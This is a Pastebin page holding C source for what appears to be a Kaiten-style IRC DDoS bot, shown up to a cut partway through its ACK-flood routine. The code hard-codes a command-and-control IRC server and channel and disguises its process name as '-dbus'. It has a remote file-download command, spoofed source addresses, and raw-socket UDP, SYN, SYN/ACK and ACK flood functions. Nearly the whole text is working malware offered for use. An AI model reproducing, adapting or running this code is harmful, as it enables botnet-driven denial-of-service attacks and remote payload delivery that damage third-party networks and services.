Advertisement
wtfbbq

ktx.c

May 13th, 2015
1,657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 43.09 KB | None | 0 0
  1. /*
  2.     This source attacks are almost completly rewrited by Dr.Simone Luchetta
  3.     (Helel Ben-Shachar, The Shining One, Son of the Dawn!)
  4.     I've implemented some new attacks with correct offset, checksum,
  5.     sequences and acknowledgement's number (NOW WITH NO-SPOOF).
  6.     There are presents: ackflood, the infamous nsackflood, an improved
  7.     version of synflood and others (like randomflood).
  8.     Please edit INADDR_ANY part for a correct packet sending.
  9.     Dr. Simone Luchetta, <simoneluchetta at gmail.com>
  10.     MSN: <simoneluchetta at gmail.com>
  11. */
  12.  
  13. #undef STARTUP
  14. #undef IDENT
  15. #define FAKENAME "-dbus"
  16. #define CHAN "#bot"
  17. #define KEY "key"
  18. int numservers=1;
  19. char *servers[] = {
  20.     "singularity.helel.net",
  21.     (void*)0
  22. };
  23.  
  24. #include <stdarg.h>
  25. #include <errno.h>
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29. #include <sys/types.h>
  30. #include <sys/stat.h>
  31. #include <fcntl.h>
  32. #include <strings.h>
  33. #include <netinet/in.h>
  34. #include <unistd.h>
  35. #include <sys/time.h>
  36. #include <sys/socket.h>
  37. #include <signal.h>
  38. #include <arpa/inet.h>
  39. #include <netdb.h>
  40. #include <time.h>
  41. #include <sys/wait.h>
  42. #include <sys/ioctl.h>
  43.  
  44. int sock,changeservers=0;
  45.     char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  46.     unsigned int *pids;
  47.     unsigned long spoofs=0, spoofsm=0, numpids=0;
  48. int strwildmatch(const char* pattern, const char* string) {
  49.     switch(*pattern) {
  50.         case '\0': return *string;
  51.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  52.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  53.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  54.     }
  55. }
  56. int Send(int sock, char *words, ...) {
  57.         static char textBuffer[1024];
  58.         va_list args;
  59.         va_start(args, words);
  60.         vsprintf(textBuffer, words, args);
  61.         va_end(args);
  62.         return write(sock,textBuffer,strlen(textBuffer));
  63. }
  64. int mfork(char *sender) {
  65.     unsigned int parent, *newpids, i;
  66.     if (disabled == 1) {
  67.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  68.         return 1;
  69.     }
  70.     parent=fork();
  71.     if (parent <= 0) return parent;
  72.     numpids++;
  73.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  74.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  75.     newpids[numpids-1]=parent;
  76.     free(pids);
  77.     pids=newpids;
  78.     return parent;
  79. }
  80. unsigned long getspoof() {
  81.     if (!spoofs) return rand();
  82.     if (spoofsm == 1) return ntohl(spoofs);
  83.     return ntohl(spoofs+(rand() % spoofsm)+1);
  84. }
  85. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  86. char *makestring() {
  87.     char *tmp;
  88.     int len=(rand()%5)+4,i;
  89.     FILE *file;
  90.     tmp=(char*)malloc(len+1);
  91.     memset(tmp,0,len+1);
  92.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  93.     else {
  94.         int a=((rand()*rand())%45402)+1;
  95.         char buf[1024];
  96.         for (i=0;i<a;i++) fgets(buf,1024,file);
  97.         memset(buf,0,1024);
  98.         fgets(buf,1024,file);
  99.         filter(buf);
  100.         memcpy(tmp,buf,len);
  101.         fclose(file);
  102.     }
  103.     return tmp;
  104. }
  105. void identd() {
  106.         int sockname,sockfd,sin_size,tmpsock,i;
  107.         struct sockaddr_in my_addr,their_addr;
  108.         char szBuffer[1024];
  109.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  110.         my_addr.sin_family = AF_INET;
  111.         my_addr.sin_port = htons(113);
  112.         my_addr.sin_addr.s_addr = INADDR_ANY;
  113.         memset(&(my_addr.sin_zero), 0, 8);
  114.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  115.         if (listen(sockfd, 1) == -1) return;
  116.         if (fork() == 0) return;
  117.         sin_size = sizeof(struct sockaddr_in);
  118.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  119.         for(;;) {
  120.                 fd_set bla;
  121.                 struct timeval timee;
  122.                 FD_ZERO(&bla);
  123.                 FD_SET(tmpsock,&bla);
  124.                 timee.tv_sec=timee.tv_usec=60;
  125.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  126.                 if (FD_ISSET(tmpsock,&bla)) break;
  127.         }
  128.         i = recv(tmpsock,szBuffer,1024,0);
  129.         if (i <= 0 || i >= 20) exit(0);
  130.         szBuffer[i]=0;
  131.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  132.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  133.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  134.         close(tmpsock);
  135.         close(sockfd);
  136.         exit(0);
  137. }
  138. long pow(long a, long b) {
  139.         if (b == 0) return 1;
  140.         if (b == 1) return a;
  141.         return a*pow(a,b-1);
  142. }
  143. u_short in_cksum(u_short *addr, int len) {
  144.         register int nleft = len;
  145.         register u_short *w = addr;
  146.         register int sum = 0;
  147.         u_short answer =0;
  148.         while (nleft > 1) {
  149.                 sum += *w++;
  150.                 nleft -= 2;
  151.         }
  152.         if (nleft == 1) {
  153.                 *(u_char *)(&answer) = *(u_char *)w;
  154.                 sum += answer;
  155.         }
  156.         sum = (sum >> 16) + (sum & 0xffff);
  157.         sum += (sum >> 16);
  158.         answer = ~sum;
  159.         return(answer);
  160. }
  161. void get(int sock, char *sender, int argc, char **argv) {
  162.         int sock2,i,d;
  163.         struct sockaddr_in server;
  164.         unsigned long ipaddr;
  165.         char buf[1024];
  166.         FILE *file;
  167.         unsigned char bufm[4096];
  168.         if (mfork(sender) != 0) return;
  169.         if (argc < 2) {
  170.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  171.                 exit(0);
  172.         }
  173.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  174.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  175.                 exit(0);
  176.         }
  177.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  178.         else strcpy(buf,argv[1]);
  179.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  180.         buf[i]=0;
  181.         server.sin_family = AF_INET;
  182.         server.sin_port = htons(80);
  183.         if ((ipaddr = inet_addr(buf)) == -1) {
  184.                 struct hostent *hostm;
  185.                 if ((hostm=gethostbyname(buf)) == NULL) {
  186.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  187.                         exit(0);
  188.                 }
  189.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  190.         }
  191.         else server.sin_addr.s_addr = ipaddr;
  192.         memset(&(server.sin_zero), 0, 8);
  193.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  194.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  195.                 exit(0);
  196.         }
  197.  
  198.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  199.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  200.         file=fopen(argv[2],"wb");
  201.         while(1) {
  202.                 int i;
  203.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  204.                 if (i < 4096) bufm[i]=0;
  205.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  206.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  207.                         goto done;
  208.                 }
  209.         }
  210.         done:
  211.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  212.         while(1) {
  213.                 int i,d;
  214.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  215.                 if (i < 4096) bufm[i]=0;
  216.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  217.         }
  218.         fclose(file);
  219.         close(sock2);
  220.         exit(0);
  221. }
  222. void getspoofs(int sock, char *sender, int argc, char **argv) {
  223.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  224.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  225.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  226. }
  227. void version(int sock, char *sender, int argc, char **argv) {
  228.         Send(sock,"NOTICE %s :Helel mod 1.0 - Ezba' Elohim\n",sender);
  229. }
  230. void nickc(int sock, char *sender, int argc, char **argv) {
  231.         if (argc != 1) {
  232.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  233.                 return;
  234.         }
  235.         if (strlen(argv[1]) >= 10) {
  236.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  237.                 return;
  238.         }
  239.         Send(sock,"NICK %s\n",argv[1]);
  240. }
  241. void disable(int sock, char *sender, int argc, char **argv) {
  242.         if (argc != 1) {
  243.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  244.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  245.                 return;
  246.         }
  247.     if (disabled) {
  248.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  249.         return;
  250.     }
  251.     if (strlen(argv[1]) > 254) {
  252.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  253.                 return;
  254.     }
  255.         disabled=1;
  256.     memset(dispass,0,256);
  257.     strcpy(dispass,argv[1]);
  258.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  259. }
  260. void enable(int sock, char *sender, int argc, char **argv) {
  261.         if (argc != 1) {
  262.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  263.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  264.                 return;
  265.         }
  266.     if (!disabled) {
  267.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  268.         return;
  269.     }
  270.     if (strcasecmp(dispass,argv[1])) {
  271.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  272.         return;
  273.     }
  274.         disabled=0;
  275.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  276. }
  277. void spoof(int sock, char *sender, int argc, char **argv) {
  278.         char ip[256];
  279.         int i, num;
  280.         unsigned long uip;
  281.         if (argc != 1) {
  282.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  283.                 spoofs=0;
  284.                 spoofsm=0;
  285.                 return;
  286.         }
  287.         if (strlen(argv[1]) > 16) {
  288.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  289.                 return;
  290.         }
  291.         strcpy(ip,argv[1]);
  292.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  293.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  294.         num=-(num-4);
  295.         for (i=0;i<num;i++) strcat(ip,".0");
  296.         uip=inet_network(ip);
  297.         if (num == 0) spoofsm=1;
  298.         else spoofsm=pow(256,num);
  299.         spoofs=uip;
  300. }
  301. struct iphdr {
  302.         unsigned int ihl:4, version:4;
  303.         unsigned char tos;
  304.         unsigned short tot_len;
  305.         unsigned short id;
  306.         unsigned short frag_off;
  307.         unsigned char ttl;
  308.         unsigned char protocol;
  309.         unsigned short check;
  310.         unsigned long saddr;
  311.         unsigned long daddr;
  312. };
  313. struct udphdr {
  314.         unsigned short source;
  315.         unsigned short dest;
  316.         unsigned short len;
  317.         unsigned short check;
  318. };
  319. struct tcphdr {
  320.         unsigned short source;
  321.         unsigned short dest;
  322.         unsigned long seq;
  323.         unsigned long ack_seq;
  324.         unsigned short res1:4, doff:4;
  325.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  326.         unsigned short window;
  327.         unsigned short check;
  328.         unsigned short urg_ptr;
  329. };
  330. struct send_tcp {
  331.     struct iphdr ip;
  332.     struct tcphdr tcp;
  333.     char buf[20];
  334. };
  335. struct pseudo_header {
  336.     unsigned int source_address;
  337.     unsigned int dest_address;
  338.     unsigned char placeholder;
  339.     unsigned char protocol;
  340.     unsigned short tcp_length;
  341.     struct tcphdr tcp;
  342.     char buf[20];
  343. };
  344. unsigned int host2ip(char *sender,char *hostname) {
  345.         static struct in_addr i;
  346.         struct hostent *h;
  347.         if((i.s_addr = inet_addr(hostname)) == -1) {
  348.                 if((h = gethostbyname(hostname)) == NULL) {
  349.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  350.                         exit(0);
  351.                 }
  352.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  353.         }
  354.         return i.s_addr;
  355. }
  356. void udp(int sock, char *sender, int argc, char **argv) {
  357.         unsigned int port,i=0;
  358.         unsigned long psize,target,secs;
  359.         struct sockaddr_in s_in;
  360.         struct iphdr *ip;
  361.     struct udphdr *udp;
  362.     char buf[1500],*str;
  363.         int get;
  364.         time_t start=time(NULL);
  365.         if (mfork(sender) != 0) return;
  366.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  367.         if (argc < 3) {
  368.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  369.                 exit(1);
  370.         }
  371.         target = host2ip(sender,argv[1]);
  372.         port = atoi(argv[2]);
  373.         secs = atol(argv[3]);
  374.         ip=(void*)buf;
  375.     udp=(void*)(buf+sizeof(struct iphdr));
  376.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  377.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  378.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  379.         ip->ihl = 5;
  380.         ip->version = 4;
  381.         ip->tos = 0;
  382.         ip->tot_len = 1500;
  383.         ip->frag_off = 0;
  384.         ip->protocol = 17;
  385.         ip->ttl = 64;
  386.         ip->daddr = target;
  387.         udp->len = htons(psize);
  388.         s_in.sin_family  = AF_INET;
  389.         s_in.sin_addr.s_addr = target;
  390.         for (;;) {
  391.                 udp->source = rand();
  392.                 if (port) udp->dest = htons(port);
  393.                 else udp->dest = rand();
  394.                 udp->check = in_cksum((u_short *)buf,1500);
  395.                 ip->saddr = getspoof();
  396.                 ip->id = rand();
  397.                 ip->check = in_cksum((u_short *)buf,1500);
  398.                 s_in.sin_port = udp->dest;
  399.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  400.                 if (i >= 50) {
  401.                         if (time(NULL) >= start+secs) exit(0);
  402.                         i=0;
  403.                 }
  404.                 i++;
  405.         }
  406. }
  407. void synflood(int sock, char *sender, int argc, char **argv) {
  408.         struct send_tcp send_tcp;
  409.         struct pseudo_header pseudo_header;
  410.         struct sockaddr_in sin;
  411.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  412.         unsigned int psize=20, source, dest, check;
  413.         unsigned long saddr, daddr,secs;
  414.         int get;
  415.         time_t start=time(NULL);
  416.         if (mfork(sender) != 0) return;
  417.         if (argc < 3) {
  418.                 Send(sock,"NOTICE %s :SYNFLOOD <target> <port> <secs>\n",sender);
  419.                 exit(1);
  420.         }
  421.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  422.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  423.         daddr=host2ip(sender,argv[1]);
  424.         secs=atol(argv[3]);
  425.         Send(sock,"NOTICE %s :Flooding with TCP SYN %s.\n",sender,argv[1]);
  426.         send_tcp.ip.ihl = 5;
  427.         send_tcp.ip.version = 4;
  428.         send_tcp.ip.tos = 16;
  429.         send_tcp.ip.frag_off = 64;
  430.         send_tcp.ip.ttl = 64;
  431.         send_tcp.ip.protocol = 6;
  432.         send_tcp.tcp.ack_seq = 0;
  433.         send_tcp.tcp.doff = 10;
  434.         send_tcp.tcp.res1 = 0;
  435.         send_tcp.tcp.cwr = 0;
  436.         send_tcp.tcp.ece = 0;
  437.         send_tcp.tcp.urg = 0;
  438.         send_tcp.tcp.ack = 0;
  439.         send_tcp.tcp.psh = 0;
  440.         send_tcp.tcp.rst = 0;
  441.         send_tcp.tcp.fin = 0;
  442.         send_tcp.tcp.syn = 1;
  443.         send_tcp.tcp.window = 30845;
  444.         send_tcp.tcp.urg_ptr = 0;
  445.         dest=htons(atoi(argv[2]));
  446.         while(1) {
  447.                 source=rand();
  448.                 if (atoi(argv[2]) == 0) dest=rand();
  449.                 saddr=getspoof();
  450.                 send_tcp.ip.tot_len = htons(40+psize);
  451.                 send_tcp.ip.id = rand();
  452.                 send_tcp.ip.saddr = saddr;
  453.                 send_tcp.ip.daddr = daddr;
  454.                 send_tcp.ip.check = 0;
  455.                 send_tcp.tcp.source = source;
  456.                 send_tcp.tcp.dest = dest;
  457.                 send_tcp.tcp.seq = rand();
  458.                 send_tcp.tcp.check = 0;
  459.                 sin.sin_family = AF_INET;
  460.                 sin.sin_port = dest;
  461.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  462.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  463.                 check = rand();
  464.                 send_tcp.buf[9]=((char*)&check)[0];
  465.                 send_tcp.buf[10]=((char*)&check)[1];
  466.                 send_tcp.buf[11]=((char*)&check)[2];
  467.                 send_tcp.buf[12]=((char*)&check)[3];
  468.                 pseudo_header.source_address = send_tcp.ip.saddr;
  469.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  470.                 pseudo_header.placeholder = 0;
  471.                 pseudo_header.protocol = IPPROTO_TCP;
  472.                 pseudo_header.tcp_length = htons(20+psize);
  473.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  474.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  475.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  476.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  477.                 if (a >= 50) {
  478.                         if (time(NULL) >= start+secs) exit(0);
  479.                         a=0;
  480.                 }
  481.                 a++;
  482.         }
  483.         close(get);
  484.         exit(0);
  485. }
  486.  
  487. void nssynflood(int sock, char *sender, int argc, char **argv) {
  488.         struct send_tcp send_tcp;
  489.         struct pseudo_header pseudo_header;
  490.         struct sockaddr_in sin;
  491.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  492.         unsigned int psize=20, source, dest, check;
  493.         unsigned long saddr, daddr,secs;
  494.         int get;
  495.         time_t start=time(NULL);
  496.         if (mfork(sender) != 0) return;
  497.         if (argc < 3) {
  498.                 Send(sock,"NOTICE %s :NSSYNFLOOD <target> <port> <secs>\n",sender);
  499.                 exit(1);
  500.         }
  501.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  502.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  503.         daddr=host2ip(sender,argv[1]);
  504.         secs=atol(argv[3]);
  505.         Send(sock,"NOTICE %s :Flooding with TCP SYN %s.\n",sender,argv[1]);
  506.         send_tcp.ip.ihl = 5;
  507.         send_tcp.ip.version = 4;
  508.         send_tcp.ip.tos = 16;
  509.         send_tcp.ip.frag_off = 64;
  510.         send_tcp.ip.ttl = 64;
  511.         send_tcp.ip.protocol = 6;
  512.         send_tcp.tcp.ack_seq = 0;
  513.         send_tcp.tcp.doff = 10;
  514.         send_tcp.tcp.res1 = 0;
  515.         send_tcp.tcp.cwr = 0;
  516.         send_tcp.tcp.ece = 0;
  517.         send_tcp.tcp.urg = 0;
  518.         send_tcp.tcp.ack = 0;
  519.         send_tcp.tcp.psh = 0;
  520.         send_tcp.tcp.rst = 0;
  521.         send_tcp.tcp.fin = 0;
  522.         send_tcp.tcp.syn = 1;
  523.         send_tcp.tcp.window = 30845;
  524.         send_tcp.tcp.urg_ptr = 0;
  525.         dest=htons(atoi(argv[2]));
  526.         while(1) {
  527.                 source=rand();
  528.                 if (atoi(argv[2]) == 0) dest=rand();
  529.                 saddr=INADDR_ANY;
  530.                 send_tcp.ip.tot_len = htons(40+psize);
  531.                 send_tcp.ip.id = rand();
  532.                 send_tcp.ip.saddr = saddr;
  533.                 send_tcp.ip.daddr = daddr;
  534.                 send_tcp.ip.check = 0;
  535.                 send_tcp.tcp.source = source;
  536.                 send_tcp.tcp.dest = dest;
  537.                 send_tcp.tcp.seq = rand();
  538.                 send_tcp.tcp.check = 0;
  539.                 sin.sin_family = AF_INET;
  540.                 sin.sin_port = dest;
  541.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  542.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  543.                 check = rand();
  544.                 send_tcp.buf[9]=((char*)&check)[0];
  545.                 send_tcp.buf[10]=((char*)&check)[1];
  546.                 send_tcp.buf[11]=((char*)&check)[2];
  547.                 send_tcp.buf[12]=((char*)&check)[3];
  548.                 pseudo_header.source_address = send_tcp.ip.saddr;
  549.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  550.                 pseudo_header.placeholder = 0;
  551.                 pseudo_header.protocol = IPPROTO_TCP;
  552.                 pseudo_header.tcp_length = htons(20+psize);
  553.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  554.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  555.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  556.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  557.                 if (a >= 50) {
  558.                         if (time(NULL) >= start+secs) exit(0);
  559.                         a=0;
  560.                 }
  561.                 a++;
  562.         }
  563.         close(get);
  564.         exit(0);
  565. }
  566.  
  567. void randomflood(int sock, char *sender, int argc, char **argv) {
  568.         struct send_tcp send_tcp;
  569.         struct pseudo_header pseudo_header;
  570.         struct sockaddr_in sin;
  571.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  572.         unsigned int psize=20, source, dest, check;
  573.         unsigned long saddr, daddr,secs;
  574.         int get;
  575.         time_t start=time(NULL);
  576.         if (mfork(sender) != 0) return;
  577.         if (argc < 3) {
  578.                 Send(sock,"NOTICE %s :RANDOMFLOOD <target> <port> <secs>\n",sender);
  579.                 exit(1);
  580.         }
  581.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  582.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  583.  
  584.         daddr=host2ip(sender,argv[1]);
  585.         secs=atol(argv[3]);
  586.         dest=htons(atoi(argv[2]));
  587.  
  588.         Send(sock,"NOTICE %s :Flooding with TCP SYN/ACK %s.\n",sender,argv[1]);
  589.  
  590.         send_tcp.ip.ihl = 5;
  591.         send_tcp.ip.version = 4;
  592.         send_tcp.ip.tos = 16;
  593.         send_tcp.ip.frag_off = 64;
  594.         send_tcp.ip.ttl = 255;
  595.         send_tcp.ip.protocol = 6;
  596.         send_tcp.tcp.doff = 5;
  597.         send_tcp.tcp.res1 = 0;
  598.         send_tcp.tcp.cwr = 0;
  599.         send_tcp.tcp.ece = 0;
  600.         send_tcp.tcp.urg = 0;
  601.         send_tcp.tcp.ack = 1;
  602.         send_tcp.tcp.psh = 0;
  603.         send_tcp.tcp.rst = 0;
  604.         send_tcp.tcp.fin = 0;
  605.         send_tcp.tcp.syn = 1;
  606.         send_tcp.tcp.window = 30845;
  607.         send_tcp.tcp.urg_ptr = 0;
  608.  
  609.         while(1) {
  610.                 saddr=getspoof();
  611.                 if (atoi(argv[2]) == 0) dest=rand();
  612.                 send_tcp.ip.tot_len = htons(40+psize);
  613.                 send_tcp.ip.id = rand();
  614.                 send_tcp.ip.check = 0;
  615.                 send_tcp.ip.saddr = saddr;
  616.                 send_tcp.ip.daddr = daddr;
  617.                 send_tcp.tcp.source = rand();
  618.                 send_tcp.tcp.dest = dest;
  619.                 send_tcp.tcp.seq = rand();
  620.                 send_tcp.tcp.ack_seq = rand();
  621.                 send_tcp.tcp.check = 0;
  622.                 sin.sin_family = AF_INET;
  623.                 sin.sin_port = send_tcp.tcp.dest;
  624.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  625.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  626.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  627.                 pseudo_header.source_address = send_tcp.ip.saddr;
  628.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  629.                 pseudo_header.placeholder = 0;
  630.                 pseudo_header.protocol = IPPROTO_TCP;
  631.                 pseudo_header.tcp_length = htons(20+psize);
  632.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  633.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  634.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  635.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  636.                 if (a >= 50) {
  637.                         if (time(NULL) >= start+secs) exit(0);
  638.                         a=0;
  639.                 }
  640.                 a++;
  641.         }
  642.         close(get);
  643.         exit(0);
  644.  
  645.  
  646. }
  647.  
  648.  
  649.  
  650. void ackflood(int sock, char *sender, int argc, char **argv) {
  651.         struct send_tcp send_tcp;
  652.         struct pseudo_header pseudo_header;
  653.         struct sockaddr_in sin;
  654.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  655.         unsigned int psize=20, source, dest, check;
  656.         unsigned long saddr, daddr,secs;
  657.         int get;
  658.         time_t start=time(NULL);
  659.         if (mfork(sender) != 0) return;
  660.         if (argc < 3) {
  661.                 Send(sock,"NOTICE %s :ACKFLOOD <target> <port> <secs>\n",sender);
  662.                 exit(1);
  663.         }
  664.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  665.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  666.  
  667.         daddr=host2ip(sender,argv[1]);
  668.         secs=atol(argv[3]);
  669.     dest=htons(atoi(argv[2]));
  670.  
  671.         Send(sock,"NOTICE %s :Flooding with TCP ACK %s.\n",sender,argv[1]);
  672.  
  673.     send_tcp.ip.ihl = 5;
  674.         send_tcp.ip.version = 4;
  675.         send_tcp.ip.tos = 16;
  676.         send_tcp.ip.frag_off = 64;
  677.     send_tcp.ip.ttl = 255;
  678.     send_tcp.ip.protocol = 6;
  679.     send_tcp.tcp.doff = 5;
  680.         send_tcp.tcp.res1 = 0;
  681.         send_tcp.tcp.cwr = 0;
  682.         send_tcp.tcp.ece = 0;
  683.         send_tcp.tcp.urg = 0;
  684.         send_tcp.tcp.ack = 1;
  685.         send_tcp.tcp.psh = 1;
  686.     send_tcp.tcp.rst = 0;
  687.         send_tcp.tcp.fin = 0;
  688.         send_tcp.tcp.syn = 0;
  689.     send_tcp.tcp.window = 30845;
  690.         send_tcp.tcp.urg_ptr = 0;
  691.  
  692.  
  693.         while(1) {
  694.         saddr=getspoof();
  695.         if (atoi(argv[2]) == 0) dest=rand();
  696.                 send_tcp.ip.tot_len = htons(40+psize);
  697.                 send_tcp.ip.id = rand();
  698.                 send_tcp.ip.check = 0;
  699.                 send_tcp.ip.saddr = saddr;
  700.                 send_tcp.ip.daddr = daddr;
  701.                 send_tcp.tcp.source = rand();
  702.                 send_tcp.tcp.dest = dest;
  703.                 send_tcp.tcp.seq = rand();
  704.                 send_tcp.tcp.ack_seq = rand();
  705.                 send_tcp.tcp.check = 0;
  706.                 sin.sin_family = AF_INET;
  707.                 sin.sin_port = send_tcp.tcp.dest;
  708.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  709.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  710.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  711.                 pseudo_header.source_address = send_tcp.ip.saddr;
  712.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  713.                 pseudo_header.placeholder = 0;
  714.                 pseudo_header.protocol = IPPROTO_TCP;
  715.                 pseudo_header.tcp_length = htons(20+psize);
  716.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
